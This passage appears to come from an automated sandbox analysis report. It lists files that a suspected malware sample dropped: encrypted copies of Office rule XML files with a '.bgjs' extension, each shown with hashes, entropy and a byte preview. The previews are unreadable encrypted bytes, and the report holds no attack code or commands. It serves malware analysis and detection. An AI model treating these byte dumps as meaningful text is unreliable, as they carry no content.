Preview:	<?xml{g.y.....k..mB`...=....9..\..;.W=?q.._M........y..S[...znx.K...Z.....c1..@!....n...?:.D..?./...\..k.?E..LP. .T.."v...;].....-G.y.....#....FZ...........3h.1..+b.B.)vd)...P..z5.p.`..."h..rr..b%...l.87....+.Vk...{..{.:.H./>i.'_...S...w1.\.....{x........E..e..b....z..._~.H.....>.. j1.i...{Tq....V..,..u.c.....6.E..$9....U{O.].ny..3.q..3.u......KV...b5..5.EZ.P.+.i%.m..@(.m./....Z..g.....)..>..2..Q..)3.@K.P]..:......../ +..p.....F.C..!.}?4...O!.Bw..e..{GsPXa=.!,.j..Pr]..>o.jt.....PC0qH.z..p;....+..&..,;..,T.......h..?.%.....,.l....xMt'.U.x4..........PZ.E..&.<..x..}...+EK.0..W..&Qc......FP....}l....bw+.@.E...&c....Mr..r..5.x..a.~..67(H.z\|QN..9...Y......f..f.+..5...u.n..9...x.....#/..B.!E...6.;.}......TY\|p-W.....4a..>..,.]..../....[J$`2.....Qv3&./...+OL..UC...PCx........... .].+....O..@...u....H.......B"0.).......<8.{Cp1..:._\|........-...Aa..A-\4....l..?...LI....N.b..H..u.7..iEh...EL.p...2..M...\...Jcp....r6yxl1GT8iG2X6JaJ1YNnYz19XjwM

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.731278310735439
Encrypted:	false
SSDEEP:	24:9JeYRKbdMrw8gzQlfW/BMT4CJkbNT98iTkbD:9Efz8uQlOJDCJkbNT91iD
MD5:	45C20C801F59BC64770E32BBE936CD67
SHA1:	C429E926791CC7EA6C2E9146CE31E21E4DEA518E
SHA-256:	04E7274D671292BF1641D18EDDEECAC028BDF58BF5F958A2D788E241DE41B828
SHA-512:	F3A9A758905CF82C8F2CC7DC4CA26826F44CA38917355FD71890D17393BEBC2340D44260ABA557AEECB0E9BB75432C827E25883492C99E7E8380FB219A9F9F25
Malicious:	false
Preview:	<?xml.mQM....&......y4u!.0.BU.s.\|.w".=~.+..'.1x)N....9.}M.M.....]DjMP....$F..@.....9Xs..F$..FZ.@;q..YXsOU..pZ.}...m..P...\........@>...NU.5.?..8........r...68..9?..W...@.....$pna.>w..'......A.#x...7.;_Rb]4.v.Gi....l.....2~.(r..w}&.Q+.j....?).....e.....gI...'.aO~....8...G.B....cu..{1...!.V <..c.z7....3..A..D...........iy;.l<..o.. "7..r=.._.x..,...D..3.X.)..O..._.M.E..J...=_.._#e_.}tUh.UI..]}..%f.c..L...Fl..3,.6..uU+.b._t Q.D&..C'.=.=.....7..8..T.9.@......).`....B....$l...<:...=M.5}P.6.....E.r....U....S...f.D.'..x.......Gp.^.....6....D.x._........o4.T...EF...r....Oz..q.....M.........9...`E....B..R.._...(.hbo....Gh.q>u.O..v......5....)kgx...d.R..8.HA.6.\|..........l.O.I.A...y.6.m./...W.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.715054972403441
Encrypted:	false
SSDEEP:	12:vh0jZDYAcjJsIEhdf0FPdTBwFgdSOJamjrbU+o2RQ0hd9fDT0DUigixpZacii9a:vhYc9s5UlFrJamj62QGcgiTkbD
MD5:	43CB695706F5FCD774458BF6CCCEC334
SHA1:	C5C480693BD1C67DCB64BE95944C1D33B3EDAFF2
SHA-256:	DBD69E7F9875116F41B1AC15F8FC8924A55CD9D9791253205784C2ECD8092E4E
SHA-512:	34D2BC35E9C7805C2BBFA7C0B198DCF50E39C5D7AD5E167212CD3AC6CB8B7CE93ED3564F260E60CB0CF23AFAC3A73E4EC396CD5ABF5BB110F1FB5F6285C92B73
Malicious:	false
Preview:	<?xmlD}i.p...0R;A2.~Cy._AE...v.. ,V....!RH..\|.F....G8..]...]..L..".v..@m.~..).dk}...Rlt........g..DV5.S\# _.r.......!.b`+Y.y.h..e64}KN..9&...zX..g.8.[g.Ol,..A...@K..>.;..+.CI.&s......yy.0...2f.7..e..0R.uG.T....y.&.MO..;#H.....e....5...{....!..(........+$#KGG6...NV..L.......>...\.T...k.0...-..U.d....q.Fv.g..v..ea..>.t..:T:...v....B.?%.i2.z.G...#....{...`.0....3.h.O.M.0.nA.K.3A.L..l...8..#b.;.....[...]...e.&W.Ku....F.u..&..u..L5wF.).....P6..r.K.U.},Y~j.. TP.uR.<..\|m...[..Km....O.}...._..........L..D.....O.v%pYK.....9.k.K.1..r..;..5...;E5..jek.@F.gF.q..{x..#..W...J.t..LE.&.V..=c...q....././......."4...E......]..l-<.12=.\......w...V...Q3..5..<\...LO)...W..L.'......w.d4.tv1......9..(...D.....<..ab5I..../.......X... Z....j.SM.W[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.742866479466226
Encrypted:	false
SSDEEP:	24:W+a61qsACuciuMfEVRgg/uR/I+nv5HRdViTkbD:Z8saciL6uR/dvFRdsiD
MD5:	6AB216B51FBE156C44501E266F2D841E
SHA1:	17A1C867CC3DDE3D7886D85A9BAEF8CFD501402E
SHA-256:	FDC778BC677FC19EB40BE22120574DA25FC4EE0370F4A073D55C8717112E969D
SHA-512:	AFCC5F806CB4A9AA2FF91C571DBBC2FDD7AF9838AEE51097CAB234FADE87AFD9A233A790BABC1A2DD8C6379FCAD811FE19571A7909C419240E87C02765E64705
Malicious:	false
Preview:	<?xml.j.F....\T...o........_/... .?.S..1.Hv..!6...!....\....A....E5^&..t.gE60......GCY.}p...}.......... ;........d..dV....z.hp=.+.....?Y"...]5...).`..s...l{...<..'~.v..s7.R.....;.v.HV.v......~.k..:...R..c.{.SY...Y..R.C.....-...=..t...;..v/....E.-..B.e..m._.`..Em.'......j.;..#...cJ ..4..l..S......B..=->j[a....\|. {..W..[..G.KTJT.%I ...%.._?Ad...D...p....e.....cvm.K.k(r?......t6....@.e.G.F.E.Q#......LV..0......-..j...pyDB..iJ....(...V......[....r..]....)..RWfy.&4..D2..$..6.b...@.H.;9...+....H.F..YO......ZaS7.&..3Y...<f.RPA.g\.b4!............7.G@..ca/uJ....gP.I_.M..gj5$..>..~..A..O..k\N_.9N.m@Z...i..Z.......xrG.>Nf~....N...w.x...^....h....m..Xd.A.j..z....k.`p.P.....'.U.~..`.P....6.x...<.>K..3'8...w}..y..Vm..v...d..!'.....ea.&\.K.<._%.(..P7J.)u....`!.Y.....@.....;8.u.....%....4..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.943821491329974
Encrypted:	false
SSDEEP:	48:7FOEMTv88ybLUsJjh7qMj1he3UUMbHJScUtLxwPL4J9z++MZh0e4eh6aSTHXiD:ncv8FbLU231wUUKJScUtaLcdM8a4ag6
MD5:	5FC286B85779F397B18375AB42B99A0A
SHA1:	8FE6D5120A8880B2F5EA2A36EC5C9D7C8E934316
SHA-256:	44459F9163764F4ECA5E068DF3EB7E491B551593DA644A1D82343F8044009C7C
SHA-512:	2B493ADC6911319B33B2BFB7B64A32846B94242DB8F16B7D8B111A8B281D530D0E86CDAA96B4327FC66D08D9F93F20325F4441FFFAF8258CD430E865EDD23C1C
Malicious:	false
Preview:	<?xml.!.#......u..&.....}..O.%...Xe.......k .X,.j...z..2O^.Q..}..0,.u..]G..O[[.;<.[..>..>.I..EQ)....m.hl.L.I.V.i:....J.J.5.d8.B..z+. .t.~..2..:...$,M..-..f^ky.......S..............G..@4.f..{.P.\.....!.D..>..4.,.VZp.<..;...~4....kY.g....o.~Y......._Q@L.nm..[....k..]...8.......V..WB..H.I.Jx.v.4....D..\|.E...P........<S`..n].=....8..c..k....i.....C...p...&t.f..T..U.i...9c.%TM,sa!c....L.c$=...0;D..f....B...Q.(..2.......i........(pfP..."..\.gF.?....{.q..6..;.J....]..E...x....h{...V..Q.#.{.!E. ....D.....m.....ST.....{%..fK);.....]p.."......6..S......n.F.uX..h..p....%....I..].fF..[......X.0.#0.bV.>....l.r.=.......+(.L.a6_}...o...D...p.?.qxp.X...?.....4n.O.A.~v./....ZB!.X...I.h...2Zl.o..Wa..O.....dJ.-t.KI.>N....;S[......]...aQ.r...}..;.)^44'..5. c.B.U,.L+..l...4.........p.Z.U".._mIsn.........-.j......Q!T.M....a. bc@1)...X......6...!..::V....DaN.mF.P.0\..l.._......u.&.=..%$.-s]&t....O..o...y.q)..]R...cU.v..)...?mA..N..@Z.R,.&.Cb..=A...6?

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.764650876626177
Encrypted:	false
SSDEEP:	24:2h7nzKv7js0TIj58nmRu4AHwSagpePRdHosM3ehiTkbD:4zefs0TE58mtAQlggpdHlM3liD
MD5:	311A1C86D29BBC0FE4441E1C9AE696DF
SHA1:	24E3470286059C9C7D2989077B0D219CC2BEE149
SHA-256:	840E4FF44CBE88A07AB18FCFFAD018133139569A926AD9B04390548EBE9ED4F4
SHA-512:	55BF87141F41CC090CAFF756330E130D2E82E32AD9B745FB12BBF4C1532904E1E6323F851A5C610EDF1A2D0325968AF0C4F6A47F31801556067DBE463EAAB8A9
Malicious:	false
Preview:	<?xml.#\|.k..`...y.u2%.a.[...w.....>>..J.u8....s...}"!..(~YA......]...B@.....i.........kU..... .....g..%.IW+\|...o.+....d,.1..X....n$xW.9.`..<...0.5.k.....?.....L......n.....\s.WQ.../.+.o....E]].z..I(.^o.}...?...Z`.M.....k. .....%....r.k.L8.............3......w.2=..!k..j..... ?.K..?p.o..f..)E.f..-q.._..<"."...7...P.R.#....x.....\.Z...0....=....v...U.e3........e.<}..(TC.1M....a.........."..(.m...'S.4.[K.......?p:.....o...1..C.1.[...+.x.+m...2.q.......h..6_.=QZ=....jn.r....b.8...G. ...~._].6hcs.......l..$..m.8;&3....?...Q...].'-.~.).P9I...%....;.[...D.H\|-..."..=..4...i.#.sI.1z.R.=.N......}@...TQ.+.t.m(..[....o<^\.F%J.*6/.....@G........../YMKz..._:...".?.g.+.K...Q.7Yl.tS..C.K..\|..}}.XM..{.~.S.H.........S..4.AA.r.9.....J..X....i...5...W.\..-.?4....<..).......F...(.).x'....(..D.6L.7.j3_}.ujr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.744540812384401
Encrypted:	false
SSDEEP:	24:8WDWnG9fHa5kUe0HllpyVqqj+oF+pn/fXs1ZWDrBMoaxjliTkbD:8mv2Xe0HP8+p/qGwciD
MD5:	DBC09C95A1E713E890527D330D78B3C6
SHA1:	7214C36F1DEF412DAEB0B451E3B39A03ACC5456E
SHA-256:	89E89820E5C427DAB90ED3CA3CDF7085D44569F60FC76D5C7CD1F90F6C2C60EB
SHA-512:	D0B14F2CAB11A5E72D67AE780C2A9464DBF183250D3D68768DF6A836AE90A0D23D00E7A7DD541CC56BD20EF4118B29261523FA1D15A9BF973D09B3171F00FFBB
Malicious:	false
Preview:	<?xml...u>/R..]._......%..X..H.(..\W-W.....98.....a...l..\|.34....U...x..U..R.....H.:...jb.d..G.?...p...8K.)...;r?.].!...H...fP\N...pz.QF...O(J.../w....ad.f...aw..N..8..s..\.Y'..)k0y.I..F;>...}y].(.{..{Y...S.....:.P.\|.nf%.T0.......p.q.0(....w.]....S/......>.b..P.+....Z.[..D..%.4K..........J........f.`....D%.W......{..TH.[..I..q-X..u.E...N>........G.PZ_iwb...z..8.b7......8w..............o..b..\.2.9..Q[.?.kb.`.{DP...L...V..Z..z...;AnZ.........sL%......a0f.........G(zIEP...P..f...e.0%v:..Vn1.3+@.....D.........(X%BN]...P......`...r...h..P.DT7Edh0T}`{A.j......8D.X.lE/.j._...:r..?...X.4..v6.....7.....>..%...\..j....@..w....-......U...4.#..T...Iqq...}..T...t...>.}D.....\|..[.!.ou/.Z7d7.G..:.....M.t.8X...R.....},=..{w\."....QGcY?.]....l...%c..*...%oVX..4..g........#a..Y.xo>............S~....e..A...{.H.....b.U.>.#..v.j6.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.748584836059566
Encrypted:	false
SSDEEP:	12:lsjcNEbc34lWz0l3Ab4i80KAdBZrJ1GmPPxQ9F/V05i2QLILixpZacii9a:3gEJ4iZp5rJ1G0PY1Vr2XLiTkbD
MD5:	A063FFAF93B5E29E48DF7BDC71257045
SHA1:	B154A6ABF5627EB53220F83998A7E485536DC442
SHA-256:	9273C2B309B03991DBE5931E091A55B9242AF06B70A49C8B3375DC44CA1D790F
SHA-512:	CA1C9DF3E5132329424EBC8E085BAA5E26F9EEE00C0901DB0294D236B64A1EC333E63408EC17B8928F06CA6CDFA1F42E9917A9A607A8467298B5CC4D4C146906
Malicious:	false
Preview:	<?xmlv.r4p.........#w\|.>..;1@AW.<....\...WAF....}..9....9..Jmj..0...IV.?..o.....V...].......P...h!..R.....]K...3...\|hs.L...G.!\..Mf&.~.O...L.;$..cl:..+.NcFT.#".J.....7.@....$.)m.......1..y....6..J..4S.KhU..X.EJM..........w^v.....~....-..y=2'u..O.....R.........b.3.n.>.W.....v.W....dE.8..z...@.k.....Q....hu.&..11..7.....x..BK8.....+.4..Pq...%sdz.r..Y.R..........2.&.>.....p......y...(eC.............K.x;..LJ.,...H.R...t<.t.m..A;.% Z......?,j.......Y.zH.C......MU.j7..p".5AmPb.....Dw.":G.U_Q.......\|.t..&........$).C...4....8.......;d....0.Z....7.).. ....l...7n(...a..%u..!$..u\|j._f....$.c.e.T.#....d.5z~/...&+...c...K\.8.pi...i:p3.G3..m...$.C.v....e...Nj.Z.7m..e~.Rh..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.765263001466
Encrypted:	false
SSDEEP:	12:2KnJKtXiR9mSmiS7FBbVe/67TOTWWZy5MpjUS2z7oeBtVsq1jnJ0DvhLh/ixpZaX:tnJKtyf1mReWWZ3EB4SJ0hF/iTkbD
MD5:	20E6DA8BF118893F2EF63E96DC8C7DA7
SHA1:	B2EEC0A272771E2C020A58D16D79E62FB44A0A2A
SHA-256:	C57BEB39712AB7CE326F73504F0325F30EB22657D8AEB05F1F76E25BA612FBD0
SHA-512:	30AE0C9CD3A18C826BBBA1FAC82344C8BC1665AE8D60C8E3DDC83B6B900B517F1E5572C42E193E21307124748D7CF7FB066F72227BDB2B5C1DC4E6D2564F2DAE
Malicious:	false
Preview:	<?xml...by~.s/;.o.....l....:.I..8.pr,.U.B@`..F...0..........;....H.B..{....G...Zn~..a.;g....6&}.P..+.\|0`.4o...Zk.....t..7.SB[..&...P.#..B.B.W~K.2&..v.&....W..p6......,.[g.6.....3B.3..l..`.OH"a...\|i}.I..9.hI"+..S.&...;:..Ss....&.,....@r=.b.i......(..6.PqH...x.Z).@9.QA.)...4.lc....a.r`.E.~.E./....$'M} .z...U....0y....a4w....o......n..5}...l.(.sjh...e^s....Ro..j........v.t.......I<..,}.....4qu~-....a.c.M.b.......l.]..=..Zv...!.s....<`...Q2W1..Y...D...-6.....8Q..Q..P..p.g.H..MW....PF..$Ft...7...*.`......o......lX..u$D.9..2.\|5....V.../.......k.B`.G.$.....K .Z;..!..?)[...i_.#.(.>N..V...q.RB%.z...kK...2.[...._A.../.Q.....;.b..E..1.]-..W.....8.../.].iky.L...]...._.Rq..=o. .....G.orp.........G......#t.D.......3m&.d.Q..s..L:5.J.y..-.>h.!.8...$O.f...`w:.p%.;.ai.q........G....e........1..]..Yy...Y.1.8..../...:$+.F..Q..j.=..W....U};....g.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.816568795415175
Encrypted:	false
SSDEEP:	24:pUZdVBmyBfAlsq+cy2IIrCTp8OKeV2hjq+qqJ1CUmVHYjWZZiTkbD:yd3Asyy2IIrOkm2I+9JITHY5iD
MD5:	151F342817FBC23D42BC0D7E31996877
SHA1:	4BFF32798D6D3AE22225F522F71A7B2B0E8BF82F
SHA-256:	E9AE0481CB4DE5DE803BD6D9BE29A7EE0D416CE34DA493A03A4A5173CB9AE9B3
SHA-512:	20F7CB7D8D56BBC2636CC69E593D2CDCB91A55E519E95F87B3DE15F8A5E9D82CA37D825BB3C138EDC8BD2E868806EB5AFE6A1C1113C832E676A73DBE78057114
Malicious:	false
Preview:	<?xml.....N..M.I..2.`.LpQy6Y.%.....v@d._\@...q{........s..:;...o.....}._5.....D..o.....S...pjh..../....M?.G...._Vm:.BMKqo........)M...#.Y..D.......h........b.]u..)...g.j..c..1.=te..r.R.......2...6........fi$.S...4......./7.6\|.Um..8...5.....t..g.."....3?.N~Myp.y...YPM..Q..l....50.6..$i..e&8..>.J2.E....y.....]..+.d...J.X ...(.\..U.S..Y!...iG.H.W..YJ........n\..@."...Ee....e.'.R}.v^.7.@..x@..'.(.b......-.\...@U......o../....2.....3.=\|...7.Iy.K...@!5.....sMF4Pdl....P3....d...\..mL.Q...<.<=....b...J:BGB.._/.R....:.4....a.9..w......c.`...=Q..4l\........B7\}.,...6]-.j...&....+!.`.:=r0x.....[...-....Gw..f;.1..3...0N....e...v.....2..W.....;...< l...[.....O.V....f...%1.....j..%.L.K..f4XP.G.C........NGT...k..J_...yn...P..&Gi...$.{wR&..F....S...\h...o+.].FCk..k.\|?y.W..N.b.. ...(+GozF&.6a.:cl4.......b8..s....tUT._...,..^X..wU&... #..j.N<.H.6.`...<P..6nH..r.z:...(..V.....k.[......).!-iJ..h.gz...o....a..iY..#.2..(.?.3.. ....c.;-..!.?.J.u

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.799750660787228
Encrypted:	false
SSDEEP:	24:muqb+hLxgjgryIYP7GLLEyguQFNFoBKPyDbxPiTkbD:Eb+hszyl4o8y5KiD
MD5:	13BEA5A3B84F5D5BA121BFCC3DD6562D
SHA1:	3C5E47C7A48E3EF42A6E2C3B9A5A104C0CD6A47C
SHA-256:	EB12C175BE48E0CF5F8681F73CEEABF51C1D03CAC4F60EF65492F2A141DC4EB4
SHA-512:	6D5DFCA8045C4EFDA8FB8666E0AF7059F6158B5C979A8D2851DA61C57B55D0367EC5FE746FCF0F7BABD690318F5AAD5D5DBB90552C5E5D785DFCB95EA296ABCD
Malicious:	false
Preview:	<?xml6t...M:..eDt...m:O..#........u.....~&.....o#/p.u..9:o..Xe~..]..\y...9..w.Re>6..9'L.....R..._^K3....e.....P8.....U.....7.u.Ot.....".D..QN.F..[.L...zP..8./Oo...Z=....e......e.J.....<........#r.F.D....RW70.0...l..g.+.&`..Q..k<..W.).4.~.B.iWa..:.QAM..u....6.y...S....>....^.<.n..N....q."....#.!D.9......v...E./.0:.7...(. .[.!...a@..C.i...T....&3..3<.....f..V..'\..<wf.a..}G..-..pi.E......;R\|..h.F`..P............zU....m."..x...6......#li....Zn.u...d..-p.O/.2'}.q...u.e...J_s..D.D.T....Q.]d.2....o..^.S....s....j..>.?9....'.J.S.`{.%.g.C4.<Qix...Hy.49.8.8"...j...F..T~..1.(....h...j..t.&P.....0.6.t......6....%e.HH.2si.7\x.....pE.Z.t...T`@...].[c...k......ZE$.YG..!D..r...pg....Ey(.DR..P......c0.Y..;..z...d...o.Ct..H....{.#X.+@N.{-+..Y]..W...L.h.N,..l.....2.......t.......@X...<.G....&....%.$@..EH......C.r%.!..'+...............e..?........./j,{...1.WG.&r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.742029924458009
Encrypted:	false
SSDEEP:	24:38jEyGL+MK9IXW3KZdG7xnBSxIBl1GL6RquKldhFiTkbD:38oyGL+Mq13K/ExBSooeqNmiD
MD5:	EADBB6A49AB42E640A35427706F93E7C
SHA1:	C469D06DFC6DC74E6CFB2E1DB5D14046931187D4
SHA-256:	14C60E65C7CDA3A1FBCA1D39867A71D2E1DAD6B21A4FEE0497287AC065BCC098
SHA-512:	F4804FF0C2044C9B445EB22335089EFB26097C7DE90232C0E3278254FBB38919EDB14E6511E75172F194FE65958E9F8C1E6744E4A1B9B3635938E32F77824153
Malicious:	false
Preview:	<?xml?.8.....X.......m&j.>..$......Nfo.(...~1.f..[..2.A^.&9/n).0.4/4>Ft.[t%..7.S....q..9...;I.B...d.r$....@Na.AA..rd.H.;>.4.._S..%F.........@.~.."R..V~,HL.......e.%L.Y6/6.};{.....'9.t..)........N.4..Q........=..DY....+....e}..$.T.[..9.f..a.Nvr.`#......'...b..b.e....A.q.&...C.XhL....".^N.$...D[..F....j=....X....xQ.i......t.~V.;`H..X.......@....5,.#..j..r.g.._?'sx..P..Y,......9.NX5W+p%.w......&........r[Q..P..........!...........x...k,..O.Y.~4M...'...,Q....v.S...}H:~Mo} .x.T..S..#z..........aFiwz9TtW?..A...QL.jl$....S._*.6...~..pPZ.VCh...!Q.............P......n=..k.........3.H..2.<e..qj.J.Z.g.i.-.S.K_..S..& .".5...P.<....%/....`......(.D..E.O.a..@.u.;......M.b.J..Ia ...yV.{._.p...A'.Zt..[X...?R........`..%.........b.s....!.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.790512567233942
Encrypted:	false
SSDEEP:	24:3aCyJpV9/jsLktlVsgjDvDhDPLA8uGFqr5zUiTkbD:3aJXpsAtlVuyqVzNiD
MD5:	46B1C176BCCA1EF0BED94619AA5ECCD9
SHA1:	001B71B8C300A06A6B53EE217D860864F7EF7F9B
SHA-256:	D730DDDA65694B7925276898F3CDF89E9E84EEC50170B57837E14026AEBFD37F
SHA-512:	2056E5FD77FCC2C463A5861FEC18673BA70CEDEC087092DDAABBEF087278CBA63E7C551B27EDA76D22B5F91E7FA2E7B3FD5C901C1277E9094D674DA4329E20B7
Malicious:	false
Preview:	<?xml.v.D.......v....ms1...=..~.....'.{@.....G.....96/j.Z...!.?.)m.........;.8....[..e.#.#.k....?.-c.X....Y.T....f;QA)T.l.{#..Zb.>...).+.,\|.%.I..^.(."F..o.i....6...5.d..C.t.......&..H...X>........i..h.sl(......y!-....F3....x..sE...K...3x.7.....%.A.EQP..lO.1.......%ST.^2q.G..w.`u.-K...."l+......x...r......] ..c.....b..2..F.IhE...(.b..q...B..D(..Y.a.....{....6..V).e..IF.q..5.X.....$...........t-.Z4{N.....D....].....<n..(.Q..#Td....>M...\k3..Z5. ..V7.E.T...+...b..v......R...\|N..D..KW.:....g.R=...\...._...@...3.2.f.U(.b....l/...0.n...[.V.rsM._..w.8..=.....v.z....c.".._....}.&._..5.g....M...>...$..(.d.W.Qn....E[M.8H./..s...v......ep.8.{............:.#...p:......=.....a+Yt.m...K{._.6.^.~f^..;..Ue..'p....T...O<. ..N.v..a.L...\.y)q....s.(Wd...b%..m>r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.704748309997442
Encrypted:	false
SSDEEP:	12:omrqB4dX1QY5GytqznCvzka43ib2R43i/9C1CxoO72734Iypgiz79khGixpZaciD:omE4dbt7vY8aTI1K7ahyppxiTkbD
MD5:	001CA43EBC6EC01503A1AFB333649ED3
SHA1:	CF0FB6D59EA3A346128A650A9DD9F56C909387FC
SHA-256:	0C8AEB7B0D48601EB2B5B51FA7E9F3562DD3DAC2D91E3508BC2FD8E83C65D834
SHA-512:	E504A70D7212015E1D2ABF6686D9790F3CF916464DD9789D67DB16EC8E3FE73C105B37AE11183B1721AAB3E59FE2F3E6BBF157EE326194CA6DECACAE6E40A550
Malicious:	false
Preview:	<?xml.f.....;.p?..D........d...A.f_+.4.....i.u.}3Re...+G.I.;..C.........;[...g.....:.0..<..cw`..R........Y?.]G..g.A...'ci,.H4.U..\|.@...D..\^.=!...=....i1....Bs.5efY.OW.v..^A.W..EUI..k...Zf.. ._z[.....<....K....\V\..k...X..P.....(..,W0.f..2K.B...\|#.4f."..O...t..........f...IS.....r.k......!..B..IZD/.W.................%..t.....O.A.h.=\\|..m..Y<.#.Z.)...'.....U#..ht.y(.X..-.\7B..,..u....[Z.$......7..7T....$B...5<..9....TF.../.LQ.Ehz...[..A...u.w......6U.".k..YK....">.'.V.h_.r<H..?.zh..e.nm.m.(J.....O..d.ja.........w.E..%.4..t5..'!.W8...7.`...<vc:8S/ok...m.H._1..R.g...I.*.......k5j...qo../.!.Xr.(c}M.n......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.809386892280454
Encrypted:	false
SSDEEP:	24:adTHEXniVUR+AhLRLe6PvaNKMty4L1SZ+S3IgS8HZRymBk2uPiTkbD:adTHESqNZ3kKM04L1SZ+S4UHZRyoHuKq
MD5:	BA49BB82F1E748881C9B7A8D52F38B56
SHA1:	C0F0CE2111BE0ABE07D4487E39ED33109FCE2C4B
SHA-256:	B5572FE4AB76AF7DD82076439DDC07454D4D4AA08A5D568EAE64250A40E0A175
SHA-512:	5FD48F529985230E6BA185FF8DD8CA8BE7BC517666770CDEA30C82C83B6F7E0A70CB54A6F3476739D2D36C3B3305ED30E72275CF1583003550EF13D32998FD37
Malicious:	false
Preview:	<?xmlj..%H..{.#...sFQAr.m.06.........c.p..u..../I.pT"..O...u.E.......+.{.[..x(h....\|.K^C.N3....C..R..\}]..y.$.A....P......s....OZ.=...{.:.Q.`.#.m8....d..#.V....."w..u..A.....L... 